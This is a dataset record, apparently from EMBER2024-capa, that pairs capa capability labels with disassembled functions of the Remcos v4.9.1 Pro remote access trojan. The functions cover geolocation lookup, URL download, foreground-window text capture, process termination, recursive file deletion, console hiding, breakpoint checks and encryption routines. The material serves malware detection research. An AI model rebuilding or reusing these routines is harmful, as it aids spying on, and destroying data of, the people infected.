joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b2d2
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020df
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.0043bca1
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push closesocket
push esi
push esi
mov ebp, eax
push str.http:__geoplugin.net_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x41b35e
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.004020b7
push eax
mov ecx, ebx
call fcn.00403376
lea ecx, [esp + 0x18]
call fcn.00401fd8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x41b367
test ecx, ecx
jne 0x41b317
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.0043bc9c
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x41b948
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x41b9df
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x41b9df
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41b9d6
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.0043bca1
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41b9d6
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00436de0
push esi
push edi
push dword [ebx]
call fcn.00436de0
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41b9e8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.00436de0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040417e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41bab3
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41badb
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret

Function at 0x41bf6d
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
sub esp, 0x828
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], 0x105
xor esi, esi
push edi
mov ebx, esi
mov ebp, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x41bfcb
mov eax, edi
mov dword [esp + 0x10], eax
push 2
push 0x466608
push eax
call fcn.00436f3a
add esp, 0xc
test eax, eax
jne 0x41bfb2
inc ebx
cmp ebx, 3
je 0x41bfc9
add dword [esp + 0x10], 2
inc ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp ebp, eax
jge 0x41bfcb
mov eax, dword [esp + 0x10]
jmp 0x41bf98
mov ebx, ebp
xor eax, eax
mov word [edi + ebx*2], ax
lea eax, [ebx*2 + 2]
push eax
lea eax, [esp + 0x634]
push edi
push eax
call fcn.00436860
add esp, 0xc
lea eax, [esp + 0x18]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x41c088
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x41c0ba
cmp word [esp + 0x1a], ax
jne 0x41c0a4
cmp word [esp + 0x1c], 0x3f
jne 0x41c0a4
cmp word [esp + 0x1e], ax
jne 0x41c0a4
cmp word [esp + ebp*2 + 0x18], ax
jne 0x41c0a4
xor eax, eax
mov word [esp + ebp*2 + 0x18], ax
lea eax, [esp + 0x428]
push 0x64
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x41c122
push edi
lea eax, [esp + 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x41c0d4
push 0x104
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
je 0x41c0c5
lea eax, [esp + 0x18]
push eax
call fcn.0043ba26
pop ecx
push 0x5c
lea ebp, [eax - 1]
pop eax
cmp word [esp + 0x18], ax
je 0x41c014
mov esi, 0xa1
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x41c0a9
jmp 0x41c0a4
push 0x5c
pop eax
mov word [esp + ebp*2 + 0x18], ax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x228]
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x41c122
lea eax, [edi + 2]
lea eax, [eax + ebx*2]
push eax
lea eax, [esp + 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x220]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x41c0a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x41c0a9
Function at 0x41c1e3
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x664
lea eax, [ebp - 0x410]
push ebx
push esi
push edi
mov edi, ecx
push edi
push eax
call fcn.0043f759
lea eax, [ebp - 0x410]
push 0x46c880
push eax
call fcn.0043f77b
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0043f759
lea eax, [ebp - 0x208]
push 0x466608
push eax
call fcn.0043f77b
add esp, 0x20
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41c33a
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.0043f759
pop ecx
pop ecx
mov bl, 1
lea eax, [ebp - 0x660]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x41c30e
lea ecx, [ebp - 0x634]
call fcn.0041c1b5
test eax, eax
jne 0x41c31b
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043f77b
test byte [ebp - 0x660], 0x10
pop ecx
pop ecx
je 0x41c2cb
lea ecx, [ebp - 0x208]
call fcn.0041c1e3
test eax, eax
je 0x41c333
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41c2f7
test byte [ebp - 0x660], 1
je 0x41c2e6
push 0x80
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x41c333
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043f759
pop ecx
pop ecx
jmp 0x41c31b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x41c333
xor bl, bl
test bl, bl
jne 0x41c266
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41c33c
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41c343
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
xor ebx, ebx
mov ebp, ecx
push edi
mov edi, edx
sub eax, ebx
je 0x41c36c
sub eax, 1
jne 0x41c362
push 4
pop eax
mov ecx, eax
jmp 0x41c374
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
jmp 0x41c374
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41c393
xor al, al
jmp 0x41c3d1
cmp dword [esp + 0x1c], 1
jne 0x41c3b3
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x41c3b3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41c38f
push ebx
lea eax, [esp + 0x14]
push eax
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41c3c8
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x41c3d7
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push edi
xor ebx, ebx
mov ebp, edx
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41c401
xor al, al
jmp 0x41c43f
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, ebp
push ebx
push esi
call fcn.0040244e
push ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebx
push eax
push esi
mov ecx, ebp
call fcn.00401fab
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x41c436
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41c467
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41c48d
xor eax, eax
jmp 0x41c4a0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret

Function at 0x41c4a3
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x41c5a0
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.0040b852
push esi
lea ecx, [esp + 0x34]
call fcn.00401f04
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.00402305
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.004022ca
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.00402305
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.00409bdb
sub esp, 0xc
mov ecx, esp
push 0x46cadc
call fcn.0040417e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.0040905c
lea ecx, [esp + 0x54]
call fcn.0041be3b
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.004021fa
test eax, eax
je 0x41c58e
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.00401e65
push eax
lea ecx, [esp + 0x38]
call fcn.00409a5e
cmp eax, 0xffffffff
jne 0x41c5b1
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.004021fa
cmp esi, eax
jb 0x41c563
lea ecx, [esp + 0x24]
call fcn.00406adc
lea ecx, [esp + 0x30]
call fcn.00401f09
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x10]
test esi, esi
je 0x41c5cb
lea ecx, [esp + 0x30]
call fcn.00401f04
push eax
push esi
call fcn.0043f759
pop ecx
pop ecx
lea ecx, [esp + 0x24]
call fcn.00406adc
lea ecx, [esp + 0x30]
call fcn.00401f09
mov bl, 1
jmp 0x41c5a0
Function at 0x41c934
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x41c9e0
sub ecx, 1
je 0x41c9d2
sub ecx, 1
je 0x41c9c4
sub ecx, 1
je 0x41c991
sub ecx, 1
jne 0x41ca22
push 1
sub esp, 0x18
mov ecx, esp
push 0x46611c
call fcn.00402093
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x466118
jmp 0x41ca0e
push 1
sub esp, 0x18
mov ecx, esp
push 0x46c5f0
call fcn.00402093
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x46611c
jmp 0x41ca0e
push 1
sub esp, 0x18
mov ecx, esp
push 0x46c9f8
jmp 0x41c99d
push 1
sub esp, 0x18
mov ecx, esp
push 0x466104
jmp 0x41c99d
push 1
sub esp, 0x18
mov ebx, 0x46611c
mov ecx, esp
push ebx
call fcn.00402093
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402093
push str.TileWallpaper
mov edx, esi
call fcn.004136bd
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x41cced
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x474b18]
test bl, bl
mov dword [0x474b34], eax
pop ebx
jne 0x41cd15
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call fcn.0043c108
push eax
push 0x46ce14
push str.CONOUT_
call fcn.00441b72
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.0041ccaa
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.00436de0
lea eax, [ebp - 0x64]
push str._n_tRemcos_v
push eax
call fcn.00441eb0
lea eax, [ebp - 0x64]
push str.4.9.1_Pro
push eax
call fcn.00441eb0
lea eax, [ebp - 0x64]
push 0x46cf18
push eax
call fcn.00441eb0
lea eax, [ebp - 0x64]
push eax
call fcn.00407200
add esp, 0x28
mov esp, ebp
pop ebp
ret
Function at 0x421f75
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x421fa0
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x421fa0
cmp al, 0xc0
je 0x421fa0
cmp al, 0xcc
je 0x421fa0
add edx, 2
cmp dx, cx
jb 0x421f85
pop esi
ret

Function at 0x424a4f
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, edx
mov edx, dword [esp + 0x10]
lea esi, [edi + 4]
push esi
call fcn.004249ec
mov edx, dword [esp + 0x10]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x424a6a
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x424a78
pop edi
pop esi
ret

Function at 0x426cd3
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x426ceb
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x426cde
pop esi
ret

Function at 0x426ced
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
or eax, edx
push esi
mov esi, dword [esp + 8]
or eax, esi
test al, 3
jne 0x426d08
shr esi, 2
push esi
call fcn.00426cd3
pop ecx
pop esi
ret
test esi, esi
je 0x426d19
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x426d0e
pop esi
ret

Function at 0x426d1b
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x426d3f
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x426d2e
pop edi
pop esi
pop ebx
ret

Function at 0x426d43
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x468718
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x426d4d
cmp ecx, str.SHA256wECDSA
jl 0x426d4a
ret
Function at 0x42b7aa
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
lea eax, [edx + 0x3f]
push esi
shr eax, 6
mov esi, edx
sub esi, eax
mov dword [esp + 0x10], edx
push edi
xor edi, edi
mov ebx, ecx
and dword [esp + 0x18], edi
inc esi
imul eax, esi, 3
shr eax, 2
cmp eax, dword [ebp]
jbe 0x42b7e1
mov eax, 0xffffff53
jmp 0x42b9b4
mov esi, dword [esp + 0x20]
cmp edx, 3
jbe 0x42b9a2
lea eax, [esp + 0x18]
mov ecx, ebx
push eax
lea edx, [esp + 0x18]
call fcn.0042b74c
add esp, 4
test eax, eax
jne 0x42b99b
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
mov byte [esp + 0x13], cl
mov dword [esp + 0x18], eax
test cl, cl
je 0x42b9a2
dec dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
mov ecx, ebx
call fcn.0042b74c
add esp, 4
test eax, eax
jne 0x42b9b4
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x12], cl
mov ecx, ebx
push eax
call fcn.0042b74c
add esp, 4
test eax, eax
jne 0x42b9b4
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x24], cl
mov ecx, ebx
push eax
call fcn.0042b74c
add esp, 4
test eax, eax
jne 0x42b9b4
mov eax, dword [esp + 0x18]
mov dl, byte [esp + 0x13]
mov dh, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
cmp dl, 0x2b
jb 0x42b994
mov cl, byte [esp + 0x12]
cmp cl, 0x2b
jb 0x42b994
mov al, byte [esp + 0x24]
cmp al, 0x2b
jb 0x42b994
cmp dh, 0x2b
jb 0x42b994
cmp dl, 0x7a
ja 0x42b994
cmp cl, 0x7a
ja 0x42b994
cmp al, 0x7a
ja 0x42b994
cmp dh, 0x7a
ja 0x42b994
xor ecx, ecx
cmp al, 0x3d
setne cl
xor eax, eax
inc ecx
cmp dh, 0x3d
setne al
add ecx, edi
add eax, ecx
cmp eax, dword [ebp]
ja 0x42b7d7
mov cl, byte [esp + 0x12]
movzx eax, dl
mov al, byte [eax + 0x46985d]
mov byte [esp + 0x13], al
movzx eax, cl
mov ch, byte [eax + 0x46985d]
mov al, byte [esp + 0x24]
cmp al, 0x3d
jne 0x42b937
xor cl, cl
jmp 0x42b940
movzx eax, al
mov cl, byte [eax + 0x46985d]
cmp dh, 0x3d
jne 0x42b949
xor al, al
jmp 0x42b952
movzx eax, dh
mov al, byte [eax + 0x46985d]
mov ah, byte [esp + 0x13]
mov dl, cl
shl dl, 6
or dl, al
shl ah, 2
mov al, ch
shr al, 4
or al, ah
mov byte [edi + esi], al
inc edi
cmp byte [esp + 0x24], 0x3d
je 0x42b97e
shr cl, 2
shl ch, 4
or cl, ch
mov byte [edi + esi], cl
inc edi
cmp dh, 0x3d
je 0x42b9a2
mov byte [edi + esi], dl
inc edi
cmp dword [esp + 0x14], 3
ja 0x42b7ee
jmp 0x42b9a2
mov eax, 0xffffff66
jmp 0x42b9b4
cmp eax, 0xffffff7c
jne 0x42b9b4
test esi, esi
je 0x42b9af
cmp dword [ebp], edi
jbe 0x42b9af
mov byte [edi + esi], 0
mov dword [ebp], edi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x42f0b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
test edi, edi
je 0x42f1aa
cmp dword [esp + 0x14], 0
mov esi, dword [esp + 0x18]
jne 0x42f0d1
test esi, esi
jne 0x42f1aa
cmp edx, 3
je 0x42f107
cmp edx, 4
je 0x42f107
cmp edx, 5
je 0x42f107
cmp edx, 6
je 0x42f107
cmp edx, 7
je 0x42f107
cmp edx, 8
je 0x42f107
cmp edx, 0xa
je 0x42f107
cmp edx, 0xb
je 0x42f107
cmp edx, 0xc
je 0x42f107
cmp edx, 0xd
jne 0x42f1aa
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.0042f093
mov ebp, eax
pop ecx
test ebp, ebp
jne 0x42f1af
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0x42f1aa
cmp esi, 0x40
ja 0x42f14d
cmp dword [esp + 0x14], ebx
je 0x42f176
push esi
push dword [esp + 0x18]
push ecx
call fcn.00436860
add esp, 0xc
jmp 0x42f173
mov edx, dword [esp + 0x14]
mov ecx, edi
push esi
call fcn.00433f92
mov ebp, eax
pop ecx
test ebp, ebp
jne 0x42f1a6
lea edx, [edi + 0x70]
mov ecx, edi
call fcn.0043406d
mov ebp, eax
test ebp, ebp
jne 0x42f1a6
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0x42f18e
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.00436de0
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0x42f18e
mov eax, ebp
jmp 0x42f1af
mov eax, 0xffffff53
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x43302e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
xor ebx, ebx
xor esi, esi
push edi
inc ebx
inc esi
cmp dword [esp + 0xe8], 0
mov edi, ecx
push 0
cmovne ebx, dword [esp + 0xec]
mov ebp, edx
pop ecx
test bl, 0x1f
mov eax, ebx
push 0x37
push dword [esp + 0xf0]
setne cl
shr eax, 5
add eax, ecx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x44]
push eax
call fcn.00436860
and dword [esp + 0x20], 0
add esp, 0xc
cmp dword [esp + 0x10], 0
jbe 0x43316c
lea ecx, [esp + 0x74]
call fcn.004340ac
mov esi, eax
test esi, esi
jne 0x43316c
push 0x37
lea edx, [esp + 0x40]
lea ecx, [esp + 0x78]
call fcn.00433f92
mov esi, eax
pop ecx
test esi, esi
jne 0x43316c
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x74]
call fcn.0043406d
mov esi, eax
test esi, esi
jne 0x43316c
push 4
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
call fcn.00436860
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp dword [edi], 1
jbe 0x433117
cmp eax, dword [edi + 4]
jne 0x433117
cmp byte [edi + 0x76], 1
je 0x43318a
mov edx, dword [esp + 0x10]
mov byte [edi + 0x76], 1
lea eax, [edx - 1]
cmp dword [esp + 0x14], eax
lea ecx, [edx + 1]
cmovne ecx, edx
mov dword [esp + 0x10], ecx
jmp 0x43311e
mov byte [edi + 0x76], 0
mov dword [edi + 4], eax
test ebp, ebp
je 0x433159
test ebx, ebx
je 0x433159
lea eax, [esp + 0x1c]
cmp ebx, 0x20
jb 0x43314c
push 0x20
push eax
push ebp
call fcn.00436860
add esp, 0xc
lea ecx, [esp + 0x3c]
sub ebx, 0x20
add ebp, 0x20
call fcn.0043301f
jmp 0x433159
push ebx
push eax
push ebp
call fcn.00436860
add esp, 0xc
xor ebx, ebx
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, dword [esp + 0x10]
jl 0x43308c
push 0x37
pop edx
lea ecx, [esp + 0x3c]
call fcn.0041d5e0
xor eax, eax
test esi, esi
setne al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret
push 3
pop eax
jmp 0x43317f

Function at 0x433886
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x433832
mov eax, 0xffffff53
pop esi
ret
push edi
push 0x20
xor edi, edi
push edi
push esi
call fcn.00436de0
add esp, 0xc
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
xor eax, eax
mov dword [esi + 0x68], edi
mov dword [esi], 0x6a09e667
pop edi
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
pop esi
ret
test ecx, ecx
jne 0x433890
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0x433824